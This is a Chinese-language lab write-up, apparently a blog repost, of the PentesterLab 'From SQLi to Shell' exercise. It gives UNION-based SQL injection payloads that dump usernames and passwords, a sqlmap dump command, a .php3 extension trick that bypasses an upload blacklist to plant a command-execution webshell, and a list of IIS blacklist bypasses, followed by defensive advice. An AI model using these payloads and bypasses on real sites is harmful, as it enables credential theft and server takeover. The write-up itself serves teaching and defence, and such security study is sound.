SQL注入联合文件上传控制目标主机

环境介绍

SQL注入联合文件上传控制目标主机_第1张图片

测试环境下载地址:

https://pentesterlab.com/exercises/from_sqli_to_shell

 

 

2复现过程

 

1.使用namp进行目标IP开放端口扫描

SQL注入联合文件上传控制目标主机_第2张图片

2.通过Nmap的主机端口发现,了解靶机对开放22、80端口,接下来我们对80端口进行访问,可以发现存在id=X的SQL注入风险点

SQL注入联合文件上传控制目标主机_第3张图片 

3.通过SQL注入攻击,进行拖库

 

/cat.php?id=1 order by 5

 

SQL注入联合文件上传控制目标主机_第4张图片

 

 /cat.php ?id=2 order by 4 通过执行POC,可知存在4列

 

SQL注入联合文件上传控制目标主机_第5张图片

 

 /cat.php?id=-1 union select 1,database(),3,4 通过database()函数获取当前数据库为photoblog

 

SQL注入联合文件上传控制目标主机_第6张图片

 

/cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tableswhere table_schema="photoblog"通过已获取的库名结合information_schema .tables表,获取photoblog库下相应表名

 

SQL注入联合文件上传控制目标主机_第7张图片

 

/cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"结合收集信息,获取users表中字段

 

SQL注入联合文件上传控制目标主机_第8张图片 

 

/cat.php?id=-1 union select 1,group_concat(login,0x3a,password),3,4 from users获取表中用户信息

 

SQL注入联合文件上传控制目标主机_第9张图片 

在这里使用Salmap进行拖库,命令如下:

 

>.\sqlmap.py -u "http://192.168.17.140/cat.php?id=1" -D photoblog -T pictures -C id,cat,img,title --dump --start 1 --stop 5 表示获取categories表中1-5的数据

 

SQL注入联合文件上传控制目标主机_第10张图片

\sqlmap\output\192.168.17.140\dump\photoblog目录下的pictures.csv文件为拖库导出的相应表数据

 

SQL注入联合文件上传控制目标主机_第11张图片

4.通过获取的Admin用户信息登录网站后台

SQL注入联合文件上传控制目标主机_第12张图片

1)上传普通的jpeg文件,通过Burp抓/放包过程可以获取服务器相应的适配组件

SQL注入联合文件上传控制目标主机_第13张图片

2) 通过上传发现存在PHP文件上传限制

SQL注入联合文件上传控制目标主机_第14张图片

SQL注入联合文件上传控制目标主机_第15张图片

3)对于php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5这些后缀的文件。通过修改php文件后缀为php3,绕过文件上传黑名单,上传使用GET参数获取命令执行的PHP文件

SQL注入联合文件上传控制目标主机_第16张图片 

4)访问上传后文件所在界面,通过查看源码可以发现文件所在位置

SQL注入联合文件上传控制目标主机_第17张图片

SQL注入联合文件上传控制目标主机_第18张图片

5)访问上传文件,并结合相应的系统命令进行传参执行

SQL注入联合文件上传控制目标主机_第19张图片

 

3修复建议

 

 

 

预防SQL注入

 

严格检查输入变量的类型和格式

  • 对数字类型的参数id的强校验(empty()为空验证和is_numeric()进行数字验证)

  • 对字符串类型的参数的校验 (正则校验),例如登陆系统的用户名的校验,若校验规则为六位数字以上的字母或者数字,可以用preg_match("/^[a-zA-Z0-9]{6,}$/") www.gendan5.com

过滤和转义特殊字符

  • 用php函数addslashes()进行转义,一般是对这些特殊字符进行转义:单引号(')、双引号(")、反斜杠(\)、NULL

 

  • 用mysqli的php扩展中的函数 mysqli_real_escape_string(),转义字符串中的特殊字符

 

 

 

 

 

预防文件上传漏洞

 

验证文件扩展名通常有两种方式:黑名单和白名单

其他几种文件上传漏洞防御方法:

  • 检查文件上传路径(避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历)

  • 文件扩展名检测(避免服务器以非图片的文件格式解析文件)

  • 文件MIME验证(比如GIF图片MIME为image/gif,CSS文件的MIME为text/css等)

  • 文件内容检测(避免图片中插入 webshell)

  • 图片二次渲染(最变态的上传漏洞防御方式,基本上完全避免了文件上传漏洞)

  • 文件重命名(如随机字符串或时间戳等方式,防止攻击者得到 webshell的路径)

 

4总结思考

       黑名单过滤是一种不安全的方式,黑名单定义了一系列不安全的扩展名,服务器端在接收文件后,与黑名单扩展名对比,如果发现文件扩展名与黑名单里的扩展名匹配,则认为文件不合法。

 

为什么黑名单过滤是一种不安全的方式?

    比如一个Web服务器为IIS6.0,Web语言为asp的网站,假定开发者使用了黑名单过滤,过滤了asp、asa、cer 等文件格式,那么可以尝试以下几种方式来绕过:

(1)大小写,比如AsP、cER等;

(2)被忽略的扩展名,IIS6.0会把cdx格式的文件当成asp来解析;

(3)配合解析漏洞,上传asp;.jpg格式文件;

(4)如果Web服务器开启了其他语言的支持,比如可以解析php文件,那么可以上传php格式的木马;

(5)利用Windows系统自动去除.和空格的特性,如上传扩展名asp.式的文件来绕过

通过以上几个例子可看出 , 黑名单过滤可靠性并不高 , 白名单过滤相对来说较为可靠


        白名单与黑名单的机制恰恰相反,黑名单是定义不允许上传的扩展名,白名单则是定义允许上传的扩展名,虽然采用白名单可以防御未知风险,但是不能完全依赖白名单,因为白名单不能完全防御上传漏洞,例如各种解析漏洞等,白名单仅仅是防御上传漏洞的第一步。通常会结合其他验证方式来使用,虽然不能完全防御文件上传漏洞,但也基本上规避了绝大部分风险。

值得注意的一点是,攻击者上传了webshell之后需要得到webshell的路径才能通过工具连接webshell,所以尽量不要在任何地方(如下载链接等)暴露文件上传后的地址。

 

转载于:https://www.cnblogs.com/gendan5/p/11576914.html

你可能感兴趣的:(SQL注入联合文件上传控制目标主机)